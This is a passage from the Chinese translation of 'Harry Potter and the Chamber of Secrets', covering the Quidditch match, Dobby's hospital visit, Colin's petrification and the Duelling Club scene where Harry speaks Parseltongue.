他开始围着赛场边缘像环滑车一样飞行,眯起眼睛,透过银白色的雨帘注视着格兰芬多队的球门柱,只见德里安正试图超过伍德...一阵呼啸声在耳边响过,哈利知道游走球又一次差点击中他,他调转头来,朝相反方向急速飞驰。 “是在练芭蕾舞吗,波特?”当哈利为躲避游走球而不得不在空中傻乎乎地旋转时,马尔福大声嚷道。哈利飞快地逃避,游走球在后面穷追不舍,离他只有几英尺。他回头憎恨地瞪着马尔福,就在这时,他看见了,看见了金色飞贼,就在马尔福左耳朵上方几英寸的地方盘旋——马尔福光顾着嘲笑哈利了,没有看见它。 在那难熬的一瞬间,哈利悬在半空中,不敢加速朝马尔福冲去,生怕他会抬头看见金色飞贼。 嘟!他停顿的时间太长了一点儿。游走球终于击中了他,狠狠地撞向他的臂肘,哈利感到他的胳膊一下子断了。 一阵烧灼般的疼痛,使他感到有些眩晕,在被雨水浇湿的飞天扫帚上滑向一侧,一条腿的膝盖仍然勾住扫把,右手毫无知觉地悬荡在身体旁边。游走球又朝他发起了第二次进攻,这次瞄准了他的脸。哈利猛地偏离原来的方向,只有一个念头牢牢地占据着他已经迟钝的头脑:冲向马尔福。 在朦胧的雨帘中,哈利忍着钻心的剧痛,冲向下面那张正在讥笑的发亮的脸。他看见那张脸上的眼睛惊恐地睁大了:马尔福以为哈利要来撞他。 “你干吗——”他喘着气说,一边匆匆躲开哈利。哈利那只没有受伤的手松开扫帚,狠狠地伸出去一抓,他感到他的手指握住了冰冷的金色飞贼,但由于他现在只用两条腿夹住扫帚,便径直朝地面坠落下去,同时硬撑着不让自己昏迷过去,这时他听见下面的人群中传出一片惊呼。 砰的一声,水花四溅,哈利摔在泥泞里,从扫帚上滚落下来。他的手臂以一种十分奇怪的角度悬在那里。在一阵阵剧痛中,他听见了许多口哨声和叫喊声,仿佛是从很远的地方传来。他定睛一看,金色飞贼正牢牢地攥在他那只投有受伤的手里。 “啊哈,”他含糊地说,“我们赢了。”然后便晕了过去。他醒转过来时,仍然躺在赛场上,雨水哗哗地浇在他脸上,有人俯身看着他。 他看见一排闪闪发亮的牙齿。“哦,不要,不要你。”他呻吟着说。 “不知道他在说什么。”洛哈特大声地对那些焦虑地聚在周围的格兰芬多的学生们说,“不要担心,哈利。我正要给你治胳膊呢。” “不!”哈利说,“就让它这样好了,谢谢你...” 他想坐起来,可是胳膊疼得太厉害了。他听见旁边传来熟悉的咔嚓声。 “我不要拍这样的照片,科林。”他大声说。 “躺好,哈利,”洛哈特安慰他说,“是一个简单的魔咒,我用过无数次了。” “我为什么不能直接去医院?”哈利咬紧牙关,从牙缝里说。 “他真的应该去医院。”满身泥浆的伍德说,尽管他的找球手受了伤,他仍然抑制不住脸上的笑容。“你那一抓真是绝了,哈利,太精彩了,还没见你干得这么漂亮过。” 哈利透过周围密密麻麻的许多条腿,看见弗雷德和乔治·韦斯莱兄弟俩正拼命把那只撒野的游走球按压进箱子里。游走球仍然凶猛地挣扎着。“往后站。”洛哈特说着,卷起了他那翡翠绿衣服的袖子。 “别——不要——”哈利虚弱地说,可是洛哈特已经在旋转他的魔杖了。一秒钟后,他把魔杖对准了哈利的胳膊。 一种异样的、非常难受的感觉像闪电一样,从哈利的肩膀直达他的手指尖。就好像他的手臂正在被抽空。他不敢看是怎么回事,闭上了眼睛,把脸偏在一边。但是,当周围的人们纷纷倒吸着冷气、科林·克里维又开始忙着疯狂拍照时,他发现他最担心的事变成了现实。他的胳膊不疼了——但是感觉也...根本不像一条胳膊了。 “哈,”洛哈特说,“是啊,没错,有时也会发生这样的事。可是关键在于,骨头已经接上了。这点要千万记住。好了,哈利,溜达着到医院去吧——啊,韦斯莱先生、格兰杰小姐,你们能陪他去吗?一庞弗雷夫人可以——哦——再给你修整下。” 哈利站起身来,感到身体很奇怪地歪向了一边。他深深吸了口气,低头朝他的右侧身体看去。眼前的景象使他差点再一次晕了过去。 从他袖管里伸出来的,活像是一只厚厚的、肉色的橡皮手套。他试着活动手指,但没有反应。 洛哈特没有接好哈利的骨头。他把骨头都拿掉了。 庞弗雷夫人很不高兴。 “你应该直接来找我!”她气呼呼地说,托起那个可怜巴巴、毫无生气的玩意儿,就在半小时前,它还是一条活动自如的胳膊。“我一秒钟就能把骨头接好——可是要让它们重新长出来——” “你也会的,是吗?”哈利十分迫切地问。 “我当然会,可是会很疼的。”庞弗雷夫人板着脸说,扔给哈利一套睡衣,“你只好在这里过夜了...” 哈利病床周围的帘子拉上了,罗恩帮他换上睡衣,赫敏在外面等着。他们费了不少工夫,才把那只橡皮般的、没有骨头的胳膊塞进了袖子。“你现在还怎么护着洛哈特,嗯,赫敏?”罗恩一边把哈利软绵绵的手指一个个地从袖口里拉出来,一边隔着帘子大声说道,“如果哈利想要把骨头拿掉,他自己会提出来的。 “谁 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哈利说着,一头倒在枕头上,“我希望复方汤剂的味道比这玩意儿好一些...” “如果里面放了斯莱特林身上的一点儿东西呢?你真会开玩笑。”罗恩说。就在这时,病房的门突然开了,格兰芬多队的队员们来看哈利了。他们一个个满身泥泞,像落汤鸡一样。 “哈利,你飞得太棒了,”乔治说,“我刚才看见马库斯冲马尔福大叫大喊。说什么金色飞贼就在他的头顶上,他都看不见。马尔福看上去可不太高兴。” 队员们带来了蛋糕、糖果和几瓶南瓜汁。他们围在哈利床边,正要开一个很快乐的晚会,不料庞弗雷夫人咆哮着冲了进来,“这孩子需要休息,他有三十三块骨头要长呢!出去!出去!” 于是,病房里就剩下了哈利一个人,没有任何事情来分散他的注意力。只感到软绵绵的胳膊像刀割一般痛着。 过了好长好长时间,哈利突然醒来了,四下里漆黑一片。他痛得小声叫唤起来:现在他的胳膊里好像有无数的大裂片。开始,他以为是胳膊把他疼醒的,紧接着,他惊恐地意识到有人在黑暗中用海绵擦拭他的额头。 “走开!”他大声说,随即,他认出来了,“多比!” 家养小精灵瞪着两只网球般的大眼睛,在黑暗中打量着哈利。一颗泪珠从他尖尖的长鼻子上滚落下来。 “哈利·波特回到了学校,”他悲哀地小声说,“多比几次三番地提醒哈利·波特。啊,先生,您为什么不听多比的警告呢?哈利·波特没有赶上火车,为什么不回家去呢?” 哈利从枕头上撑起身子,把多比的海绵推开。 “你在这里做什么?”他问,“你怎么知道我没有赶上火车?”多比的嘴唇颤抖了,哈利心头顿时起了怀疑。 “是你干的!”他慢慢地说,“是你封死了隔墙,不让我们过去!” “正是这样,先生。”多比说着,拼命点头,扑扇着两只大耳朵,“多比躲在旁边,等候哈利·波特,然后封死了通道,事后多比不得不用熨斗烫自已的手——” 他给哈利看他十个绑着绷带的长长的手指,“——可是多比不在乎,先生,多比以为哈利·波特这下子安全了,多比做梦也没有想到,哈利·波特居然走另一条路到了学校!” 他前后摇晃着身子,丑陋的大脑袋摆个不停。 “多比听说哈利·波特回到了霍格沃茨,真是大吃一惊,把主人的晚饭烧糊了!好厉害的一顿鞭打,多比以前还没有经历过,先生...” 哈利重重地跌回到枕头上。 “你差点害得罗恩和我被开除了,”他暴躁地说,“你最好趁我骨头没长好赶紧躲开,多比,不然我会掐死你的。”多比淡淡一笑。“多比已经习惯了死亡的威胁。多比在家里每天都能听到五次。” 他用身上穿的脏兮兮的枕套一角擤了擤鼻涕,那模样显得可怜巴巴的,哈利觉得他的怒火不由自主地消退了。 “你为什么穿着那玩意儿,多比?”他好奇地问。 “这个吗,先生?”多比说着,扯了扯枕套,“这象征着家养小精灵的奴隶身份。先生。只有当多比的主人给他衣服穿时,多比才能获得自由。家里的人都很小心,连一双袜子也不交给多比,先生,因为那样的话,多比就自由了,就永远离开他们家了。” 多比擦了擦凸起的大眼睛,突然说道:“哈利·波特必须回家!多比原以为他的游走球肯定能使——” “你的游走球?”哈利问,怒火又腾地蹿了起来,“你这是什么意思,你的游走球?是你让那只游走球来撞死我的?” “不是撞死您,先生,绝对不是撞死您!”多比惊恐地说,“多比想挽救哈利·波特的生命!受了重伤被送回家,也比待在这儿强,先生。多比只希望哈利·波特稍微受点儿伤,然后被打发回家!” “哦,就是这些?”哈利气愤地问,“我猜你大概不会告诉我,你为什么希望我粉身碎骨地被送回家,是吗?” “啊,但愿哈利·波特知道!”多比呻吟着,更多的眼泪滚落到他破破烂烂的枕套上。“但愿他知道,他对魔法世界里我们这些卑微的、受奴役的小人物意味着什么!多比没有忘记那个连名字都不能提的魔头,力量最强大时的情形,先生!人们像对待害虫一样对待我们这些家养小精灵,先生!当然啦,他们现在仍然那样对待多比,先生。”他承认道,一边在枕套上擦了擦脸。 “可是总的来说,自从你战胜了那个连名字都不能提的魔头之后,我们这些人的生活已经大有改善。哈利·波特活了下来,邪恶魔头的魔力被打破了,这是一个新的开端,先生。对于我们中间这些认为黑暗的日子永远不会完结的人来说,哈利·波特就像希望的灯塔一样闪耀着,先生...现在,在霍格沃茨,可怕的事情就要发生,也许已经发生了,多比不能让哈利·波特留在这里,因为历史即将重演,密室又一次被打开——” 多比呆住了,惊恐万状,接着便从床头柜上抓起哈利的水罐,敲碎在他自己脑袋上,然后摇摇晃晃地消失了。一秒钟后,他又慢慢地爬到床上,两只眼珠对着,低声嘟囔着说:“坏多比,很坏很坏的多比...” “这么说,确实有一个密室?”哈利小声问,“而且——你说它以前曾被打开过?告诉我,多比!” 小精灵多比的手又朝水罐伸去,哈利一把抓住他皮包骨头的手腕。“但我不是麻瓜出身的呀——密室怎么可能对我有危险呢?” “啊,先生,别再问了,别再追问可怜的多比了。”小精灵结结巴巴地说,眼睛在黑暗中大得像铜铃。“这里有人在策划阴谋,在事情发生的时候,哈利·波特千万不能待在这里。回家吧,哈利·波特。回家。哈利·波特决不能插手这件事,先生,太危险了——” “那是谁,多比?”哈利说,同时牢牢地抓住多比的手腕,不让他再用水罐打自己的脑袋。“谁打开了密室?上次是谁打开的?” “多比不能说,先生,多比不能说,多比绝对不能说!”小精灵尖叫着。“回家吧,哈利·波特,回家吧” “我哪儿也不去!”哈利烦躁地说,“我最好的一个朋友就是麻瓜出身的,如果密室真的被打开了,她是首当其冲——” “哈利·波特愿为朋友冒生命危险!”多比既伤心又欢喜地呻吟着,“多么高贵!多么勇敢!但他必须保住自己,他必须,哈利·波特千万不能——” 多比突然僵住了,两只蝙蝠状的耳朵颤抖着。哈利也听见了。外面的过道里传来了脚步声。 “多比必须走了!”小精灵被吓坏了,喘着气说。只听得一声很响的爆裂声,哈利的拳头里突然一松,里面只剩下了空气。他跌回床上,眼睛看着漆黑的病房门口,脚步声越来越近了。 紧接着,邓布利多后退着进入了病房。他穿着一件长长的羊毛晨衣,戴着睡帽。他双手抬着一件雕塑般的东西的一端。一秒钟后,麦格教授也出现了,抬着那东西的脚。他们一起把它放到床上。 “去叫庞弗雷夫人,”邓布利多小声说,麦格教授匆匆经过哈利的床头,走了出去。哈利一动不动地躺着,假装睡着了。他听见有人急切的说话声,接着麦格教授又飞快地走了进来,庞弗雷夫人紧随其后,她在睡衣外面套了一件夹克。哈利听见了倒吸一口冷气的声音。 “怎么回事?”庞弗雷夫人小声地问邓布利多,一边俯身查看那尊雕像。 “又是一起攻击事件,”邓布利多说,“麦格在楼梯上发现了他。” “他身边还有一串葡萄,”麦格教授说,“我们猜他是想溜到这里来看波特。”哈利的胃部狠狠抽搐了一下。他慢慢地、小心翼翼地把身体抬起几寸,这样便能看见那张床上的雕像了。一道月光洒在那张目瞪口呆的脸上。 是科林·克里维。他眼睛睁得大大的,双手伸在胸前,举着他的照相机。 “被石化了?”庞弗雷夫人小声问。 “是的,”麦格教授说,“我想起来就不寒而栗..如果不是阿不思碰巧下楼来端热巧克力,谁知道会怎么样...”三个人专注地看着科林。然后邓布利多倾身向前,从科林僵硬的手指间取出照相机。 “他会不会拍下了攻击者的照片?” 麦格教授急切地问。邓布利多没有回答。他撬开照相机的后盖。 “我的天哪!”庞弗雷夫人惊呼道。 一股热气咝咝地从照相机里冒出来。就连隔着三个床的哈利,也闻到了一股塑料燃烧的刺鼻气味。 “熔化了,”庞弗雷夫人诧异地说,“居然全熔化了...” “这意味着什么,阿不思?”麦格教授急迫地追问。 “这意味着,”邓布利多说,“密室确实又被打开了。” 庞弗雷夫人用手捂住嘴巴。麦格教授呆呆地看着邓布利多。“可是阿不思...你想必知道...谁?” “问题不是谁,”邓布利多目光停留在科林身上,说道,“问题是...” 30. 决斗俱乐部 星期天一早,哈利一睁眼,就看见冬日的阳光照得宿舍里亮堂堂的。他发现他的胳膊又长出了新骨头,但十分僵硬。他猛地坐起身,朝科林的床上望去,可是哈利床前昨天新换上的长长的帘子,把科林的床完全遮住了。 庞弗雷夫人看到哈利醒了,便端着早餐托盘,轻快地走过来,然后开始拉曲伸展他的胳膊和手指。 “长得不错,”她说,这时哈利笨拙地用左手拿勺喝粥,“你吃完就可以走了。” 哈利尽可能麻利地穿上衣服,匆匆赶向格兰芬多塔搂,巴不得赶紧跟罗恩和赫敏说说科林和多比的情况,可是他们不在那儿。哈利又出去寻找,心里纳闷,他们能去哪儿呢?他觉得有点儿委屈,他们竟然丝毫也不关心他的骨头长好了没有。 哈利经过图书馆时,珀西·韦斯莱正从里面出来,神态很悠闲,情绪似乎比他们上次见面时好多了。 “喂,你好,哈利,”他税,“昨天飞得真棒,简直太过瘾了,格兰芬多刚刚在学院杯上得了头名——你赢了五十分!” “你看见罗恩和赫敏没有?”哈利问。“没有,没看见,”珀西说,脸上的笑容隐去了,“我希望罗恩没有再钻女厕所...” 哈利勉强笑了一下,看着珀西离去,然后他径直走向哭泣的桃金娘的盥洗室。他说不清罗恩和赫敏为什么又会到这里来,但当他确信费尔奇和年级长都不在周围时,便推开了房门。他听见一个小单间里传出了他们的声音。“是我。”他说,反手关上了门。 只听小单间里传出当啷当啷、哗啦哗啦的声音,接着是一声惊呼,他看见赫敏的眼睛正透过钥匙孔往外张望。“哈利!”她说,“你把我们吓了一跳。进来——你的胳膊怎么样了?” “挺好。”哈利说着,挤进了小单间。只见抽水马桶上架着一只坩埚,哈利听到马桶下面传出噼噼啪啪的声音,便知道他们在下面生了一把火。用魔法变出可携带的防水的火,这是赫敏的拿手好戏。 “我们本来要去看你的,但我们决定先把复方汤剂熬起来再说。”罗恩说,这时哈利挺费劲地把小单间重新锁上。“我们认为躲在这里最安全了。” 哈利刚要跟他们谈谈科林的事情,赫敏打断了他。“我们已经知道了,今天早晨听麦格教授告诉弗立维的。所以我们才决定还是先——” “我们最好赶紧让马尔福坦白交待,越快越好。”罗恩气冲冲地说,“你知道我是怎么想的吗?自从魁地奇比赛之后,他就一直闷闷不乐,他是把气撒在科林身上了。” “还有一件事,”哈利看着赫敏把一束束的双耳草撕碎了扔进汤剂,说道,“多比半夜里来看我了。”罗恩和赫敏惊讶地抬起头来。哈利把多比告诉他的——或者说没告诉他的事情原原本本地跟他们说了。 罗恩和赫敏听得目瞪口呆。“密室以前曾经打开过?”赫敏说。“这下就清楚了,” 罗恩用得意的语气说,“卢修斯·马尔福一定是在这里上学的时候就打开过秘室,现在他又教亲爱的小德拉科这么做。这是很显然的。不过,我真希望多比告诉过你那里面关着什么怪物。我真不明白,它在学校里偷偷地走来走去,怎么就没有人发现呢?” “也许它可以使自己隐形,”赫敏说着,把一些蚂蟥捅进锅底,“或者它能把自己伪装起来——变成一件盔甲或别的什么。我在书里读到过变色幽灵的故事...” “你书读得太多了。”罗恩说,把一些死草蛉虫倒在蚂蟥上面。他把装草蛉虫的空口袋揉成一团,转过脸来看哈利。“所以多比不让我们上火车,还弄断了你的胳膊...”他摇了摇头,“你知道吗,哈利?如果他一直不停地抢救你,就会要了你的命。” 星期一早晨,科林·克里维遭到袭击、现在像死人一样躺在病房里的消息,一下子传遍了学校。顿时,学校里谣言纷飞,人人疑神疑鬼。一年级新生现在总是三五成群地紧紧簇拥在一起活动,好像生怕如果他们单独行动,就会受到袭击。 金妮在魔咒班上与科林·克里维同桌,这会儿心烦意乱得厉害。弗雷德和乔治为了使她高兴,轮流披着羽毛或变出满身疥疮,从塑像后面跳出来逗她,哈利觉得这种做法是在帮倒忙。后来,珀西气得语无伦次,对他们说他要写信给他们的妈妈韦斯莱夫人,告诉她金妮夜里都做噩梦,他们这才停止了胡闹。 在这段时间里,大家瞒着老师,叽叽喳喳地交换护身符、驱邪物及其他保护自己的玩意儿。这种做法很快风靡学校,纳威·隆巴顿买了一只臭气熏天的大洋葱、一枚尖尖的紫水晶和一条正在腐烂的水螈尾巴。结果格兰芬多的其他男生们告诉他,他实际上并没有危险:他是纯正血统,因此不会受到袭击。 “他们先对费尔奇下手的,”纳威说,他圆圆的脸上充满恐惧,“大家都知道,我差不多就是个哑炮。” 十二月的第二个星期,麦格教授像往常一样过来收集留校过圣诞节的同学名单。哈利、罗恩和赫敏在名单上签了字:他们听说马尔福准备留下,觉得很值得怀疑。过节期间正好可以使用复方汤剂,把马尔福的真话套出来。 不幸的是,汤剂还没有完全熬好。他们还需要双角兽的角和非洲树蛇的皮,而这些东西只有在斯内普的私人储藏室里才能弄到。哈利暗地里觉得,他宁愿面对斯莱特林的神奇怪物,也不愿在斯内普办公室里偷东西时被斯内普抓住。 “我们需要声东击西,”赫敏干脆地说,这时离星期四下午的两节魔药课越来越近了,“有人打掩护,然后某个人就可以溜进斯内普的办公室,拿到我们想要的东西。” 哈利和罗恩紧张地看着她。 “我认为最好由我着手去偷,”赫敏用公事公办的口吻接着说,“你们俩如果再惹麻烦,就要被开除了,而我没有前科记录。所以,你们只要把课堂搅得一阵大乱,让斯内普有五分钟时间忙得脱不开身。” 哈利勉强地笑了一下,在斯内普的魔药课上故意捣乱生事,就像去捅一只熟睡的巨龙的眼睛,真是太危险了。 魔药课是在一个大的地下教室里上的。星期四下午的课开始的时候像往常一样。木桌之间摆着二十个坩埚,桌上放着铜天平和一罐一罐的配料。斯内普在.一片烟雾缭绕中来回巡视,粗暴地对格兰芬多学生的操作提出批评,斯莱特林学生在一旁幸灾乐祸地窃笑。 德拉科·马尔福是斯内普的得意门生,他不停地用他的金鱼眼睛朝罗恩和哈利翻白眼。罗恩和哈利知道,如果他们以眼还眼,就会立刻被关禁闭,连句“冤枉”都来不及喊。 哈利的肿胀药水熬得太稀了,他的心思全用在了更重要的事情上面。他在等赫敏的信号,斯内普停下来嘲笑他的稀汤寡水时,他几乎根本没听。斯内普转过身子,去找碴儿欺负纳威了,赫敏迎住哈利的目光,点了点头。 哈利迅速弯腰藏到他的坩埚后面,从口袋里掏出一串弗雷德的费力拔烟火,用魔杖飞快地点了一下。烟火开始嘶嘶作响,进出火星。哈利知道自己只有几秒钟的时间,便直起身,瞄准目标,把烟火掷了出去。烟火准确地落进了高尔的锅里。 高尔的汤药炸开了,劈头盖脸地浇向全班同学。大家在飞溅的肿胀药水的袭击下,纷纷尖声大叫。马尔福被浇了一脸,鼻子像气球一样膨胀起来,高尔用手捂着眼睛,跌跌撞撞地乱窜,眼睛肿得有午餐的盘子那样大。斯内普拼命想使大家安静,弄清事情原委。在这一片混乱中,哈利看见赫敏悄悄溜出了教室。 “安静!安静!”斯内普咆哮道,“被药水溅到的同学,都到我这里来领消肿剂。等我弄清楚是谁干的...”哈利忍着笑,看着马尔福急急忙忙冲上前去,他的鼻子肿成了一个小西瓜,脑袋被坠得耷拉着。 全班一半的同学都乱糟糟地挤向斯内普的桌子,有的人胳膊肿得像棒槌,举都举不动,有的人嘴巴肿得老高老大,根本没法说话。这时,哈利看见赫敏又溜回了地下教室,她的衣服前面鼓起了一块。 当每个人都喝了解药,各种各样的肿胀都消退之后,斯内普快步走到高尔的坩埚前,用勺子舀出扭成麻花的黑色的烟火灰烬,教室里突然鸦雀无声。“我一旦查清这是谁扔的,”斯内普压低声说,“我就一定要开除那个人。”哈利拼命使自己的脸上现出一副困惑的表情。斯内普正盯着他呢,谢天谢地,幸亏十分钟后,下课铃响了。 “他知道是我,”三个人急急忙忙返回哭泣的桃金娘的盥洗室,“我看得出来。”赫敏把新的配料扔进坩埚,兴奋地搅拌起来。“两个星期之内就能熬好。”她高兴地说。 “斯内普没法证明是你干的,”罗恩安慰哈利说,“他能怎么样呢?” “你了解斯内普,他不会善罢甘休的。”哈利说,这时锅里的汤药咕嘟咕嘟地冒着气泡。一星期后,哈利、罗恩和赫敏正穿过门厅,突然看见一小群人聚集在布告栏周围,读着一张刚刚被钉上去的羊皮纸上的文字。 西莫·斐尼甘和迪安·托马斯一副很兴奋的样子,招呼他们过去。 “他们要开办决斗俱乐部!”西莫说。“今天晚上第一次聚会。我不反对学一些决斗的课程,有朝一日可能会派上用场...” “什么,你以为斯莱特林的怪物会决斗吗?”罗恩说,但他也很感兴趣地读着那则告示。“总会有用的。”他对哈利和赫敏说,这时他们正朝礼堂走去。“我们去吗?”哈利和赫敏都赞成去,于是,晚上八点,他们又匆匆回到礼堂。 长长的饭桌消失了,沿着一面墙出现了一个镀金的舞台,由上空飘浮的几百支蜡烛照耀着。天花板又一次变得像天鹅绒一般漆黑,全校的同学几乎都来了,挨挨挤挤的,每个人都拿着自己的魔杖,满脸兴奋。 “不知道由谁来教我们,”他们侧着身子挤进叽叽喳喳的人群时,赫敏说,“有人告诉我,弗立维年轻的时候曾是决斗冠军,也许就是他来教我们吧。” “只要不是——”哈利的话没说完,转成了一句呻吟,只见吉德罗·洛哈特走上舞台,穿着紫红色的长袍,光彩照人,他身边的人不是别人,正是斯内普,还穿着他平常那身黑衣服。 洛哈特挥手叫大家安静,然后大声喊道:“围过来,围过来!每个人都能看见我吗?都能听见我说话吗?太好了!是这样,邓布利多教授允许我开办这家小小的决斗俱乐部,充分训练大家,以防你们有一天需要自卫,采取我曾无数次使用的方式保护自己——欲知这方面的详情,请看我出版的作品。 “我来介绍一下我的助手斯内普教授,”洛哈特说着,咧开大嘴笑了一下,“他对我说,他本人对决斗也略知一二,他还慷慨大度地答应,在上课前协助我做一个小小的示范。我说,我可不愿意让你们这些小家伙担心——等我跟他示范完了,我还会把你们的魔药教授完好无损地还给你们,不用害怕!” “如果他们拼个两败俱伤,岂不是太好了?”罗恩在哈利耳边小声嘀咕。斯内普的上嘴唇卷了起来。哈利不明白洛哈特为什么还笑眯眯的;如果斯内普用那样的眼神看着他,他早就撒开双腿,拼命朝相反方向跑去了。洛哈特和斯内普转身面向对方,鞠了个躬。至少洛哈特是鞠躬了,两只手翻动出很多花样,而斯内普只是很不耐烦地抖了一下脑袋。然后,他们把各自的魔杖像剑一样举在胸前。 “正如你们所看到的,我们用一般的决斗姿势握住魔杖,”洛哈特对寂静的人群说,“数到三,我们就施第一道魔法。当然啦,我们谁都不会取对方的性命。”“我可不敢打赌。”哈利看着斯内普露出了牙齿,低声说。“一——二——三——” 两入同时把魔杖猛地举过肩膀。斯内普喊道:“除你武器!”忽然闪过一道耀眼的红光,洛哈特被击得站立不稳。他猛地朝后飞出舞台,撞在墙上,然后滑落下来,蜷缩在地板上。 马尔福和另外几个斯莱特林的学生鼓掌喝彩。赫敏踮着脚跳上跳下。“你们认为他没事吗?”她用手指捂住嘴巴,尖叫着问道。 “管他呢!”哈利和罗恩同时说道。洛哈特踉踉跄跄地站了起来,他的帽子掉了,波浪形的鬈发根根竖立。 “好,大家看到了吧!”他歪歪倒倒地重新登上舞台,说道,“这是一种缴械魔咒——正如你们看到的,我失去了我的魔杖——啊,谢谢你,布朗小姐。是的,斯内普教授,向他们展示这一招,这个主意真妙,不过,我这么说你可别介意,刚才你要来这么一手的意图很明显。如果我想要阻止你,是不用吹灰之力的。我倒认为,为了增长他们的见识,不妨让他们看看...” 斯内普一脸杀气。洛哈特大概也注意到了,只听他说:“示范到此结束!现在我到你们中间来,把你们都分成两个人一组。斯内普教授,如果你愿意帮助我...” 他们在人群中穿行,给大家配成对子。洛哈特让纳威和贾斯廷·芬列里组成一对,可是斯内普先走到哈利和罗恩面前。“梦之队应该打散了,我认为,”他讥笑着说,“韦斯莱,你可以和斐尼甘组成一对。波特——” 哈利下意识地朝赫敏靠拢。 “我并不这样认为。”斯内普说,脸上冷冰冰地笑着,“马尔福,上这儿来。让我们看看你能把大名鼎鼎的波特造就成一个什么样的人。至于你,格兰杰小姐——你可以和米里森小姐配对。” 马尔福趾高气扬地走过来,脸上得意地笑着。他身后跟着一个斯莱特林女生,她的模样使哈利想起他在《与母夜叉一起度假》里看到过的一幅画。她长得又高又壮,敦敦实实,肥厚的下巴气势汹汹地向前伸着。赫敏勉强地朝她笑了笑,她理都不理。 “面对你们的搭档!”洛哈特回到舞台上,喊道,“鞠躬!” 哈利和马尔福几乎没有点头,他们目不转睛地盯着对方。 “举起魔杖,做好准备!”洛哈特大声说道,“等我数到三,就施魔法,解除对方的武器——只是解除武器——我们不希望出事故。一——二——三——” 哈利猛地把魔杖举过肩头,但是马尔福在刚数到“二”时就动手了,他的魔杖狠狠击中了哈利,晗利觉得自己仿佛被一只炖锅打中了脑袋。他踉跄了一下,还好,似乎一切还都在运转,于是哈利抓紧时机,用魔杖直指马尔福,大叫一声:“咧嘴呼啦啦!” 一道银光击中了马尔福的肚子,他弯下腰,呼哧呼哧地喘气。 “我说了,只是解除武器!”洛哈特在上面惊恐地对着激战的人群喊道。马尔福跪倒在地:哈利用胳肢魔法击中了他,他笑得浑身瘫软,简直没法动弹。哈利犹豫着,隐约觉得不应该趁马尔福倒在地上时对他施魔法,这是违反比赛道德的,然而他错了。只见马尔福一边拼命地喘息着,一边把魔杖对准哈利的膝盖,连笑带喘地说:“塔朗泰拉舞!”立刻,哈利的双腿便不受控制地抽动起来,像是在跳一种快步舞。 “停下!停下!”洛哈持尖叫道,可是斯内普把大权揽了过去。“咒立停!”他喊道,哈利的双脚停止了跳舞,马尔福也不再狂笑,他们俩总算都抬起头来。 一股绿莹莹的烟雾在整个会场上空弥漫着。纳威和贾斯廷双双躺在地板上,气喘吁吁。罗恩抓住脸色死灰的西莫,为他那根破魔杖闯下的大祸连连道歉。而赫敏和米里森还在行动;米里森夹住赫敏的脑袋,赫敏痛苦地轻轻叫唤。她们两个人的魔杖都被遗忘在地板上了。哈利急忙跳上前去,把米里森拉开了。这很不容易,米里森的块头比他大多了。 “天哪,天哪,”洛哈特说,在人群里跳来跳去,看着人们决斗的后果,“你站起来,厄尼...留神,福西特小姐...使劲捏住,血马上就能止住,布特...” “我认为,我最好教你们怎样阻止不友好的魔法。”洛哈特神色慌张地站在礼堂中央,说道。他朝斯内普瞥了一眼,只见斯内普的黑眼睛里闪着寒光,便立刻将目光移开了。“请自愿上来一对——隆巴顿和芬列里,你们怎么样?” “这主意可不好,洛哈特教授。”斯内普说,同时像一只恶毒的大蝙蝠一样在舞台上轻快地滑过。“隆巴顿即使用最简单的咒语也能造成破坏。我们将把芬列里的残骸装在一只火柴盒里,送进医院病房。”纳威粉红色的圆脸红得更厉害了。 “马尔福和波特怎么样?”斯内普狞笑着说。 “太妙了!”洛哈特说,他示意哈利和马尔福走到礼堂中央,人们往后退着给他们腾出空间。“好了,哈利,”洛哈特说,“当德拉科用他的魔杖指着你时,你就这么做。” 他举起自己的魔杖,左右挥舞一番,想变幻出复杂的花样,却不小心把它掉在了地上。斯内普在一旁嗤嗤冷笑,洛哈特赶忙捡起魔杖,说:“唉哟——我的魔杖有点儿兴奋过度了。” 斯内普走近马尔福,低头对他耳语了几句。马尔福也嗤嗤冷笑起来。哈利紧张地抬头望着洛哈特,说:“教授,你能再向我演示一下那种阻止咒语的方法吗?” “害怕了?”马尔福压低声音说,不让洛哈特听见。 “你做梦吧。”哈利从嘴角进出这几个字。洛哈特快活地拍打着哈利的肩膀。“就照我刚才那样去做,哈利!” “什么,把魔杖掉在地上?”可是洛哈特根本不听他的。 “一——二——三—— 开始!”他喊道。 马尔福迅速举起魔杖,大吼一声:“乌龙出洞!”他魔杖的头爆炸了。哈利惊恐地注视着,只见一条长长的黑蛇突然从里面蹿出来,重重地落在他俩中间的地板上,然后昂起蛇头,准备进攻。人群尖叫着,迅速向后闪退,让出空地。 “不要动,波特。”斯内普懒洋洋地说,显然,他看到哈利一动不动地站在那里,和发怒的蛇大眼瞪小眼,感到心里很受用。“我来把他弄走...” “让我来!”洛哈特喊道。他举起魔杖,威胁地向蛇挥舞,突然,只听嘭的一声巨响,蛇不仅没有消失,反而蹿起一丈多高,又重重地落回到地板上。它狂怒不已,嘶嘶地吐着信子径直朝贾斯廷·芬列里游来,接着,它昂起脑袋,露出毒牙,摆出进攻的架势。 哈利不明白自己为什么会这样做,他甚至没有意识到自己决定这样做。他只知道他的双腿自动朝前挪动,就像踩着小脚轮似的,然后他傻乎乎地冲蛇喊道:“放开他!” 奇迹发生了——简直不可思议——那条蛇瘫倒在地板上,柔顺得像一堆又粗又黑的浇水软管,眼睛盯在哈利身上。哈利觉得自己的恐惧一点儿点儿地消失了。他知道蛇不会再袭击任何人了,至于是怎么知道的,他说不上来。 他抬头看着贾斯廷,咧开嘴笑着。他以为会看到贾斯廷脸上露出放松、困惑或感激的表情——而决不可能是愤怒和惊恐的。 “你以为你在玩什么把戏?”他喊道,不等哈利来得及说话,贾斯廷就转身冲出了礼堂。 斯内普走上前去,挥了挥他的魔杖,蛇化成一缕黑烟,消失了。斯内普也用一种令他感到意外的目光看着他:那是一种又狡猾、又老谋深算的目光,哈利很不喜欢。他还隐隐约约地意识到四周的人群都在不祥地窃窃私语。就在这时,他觉得有人拽了拽他的衣服后襟。 “走吧,”罗恩在他耳边说,快走——走吧...” 罗恩领着他走出礼堂,赫敏脚步匆匆地走在他们身边。当他们出门时,人们纷纷向两边退让,好像生怕沾惹上什么似的。哈利完全不明白到底是怎么回事,罗恩和赫敏也不作任何解释,只是一路拽着他走,一直来到空无一人的格兰芬多公共休息室。然后,罗恩把哈利推进一张扶手椅,说道:“你是个蛇佬腔。为什么不告诉我们?” “我是个什么?”哈利问。 “蛇佬腔!”罗恩说,“你会跟蛇说话!” 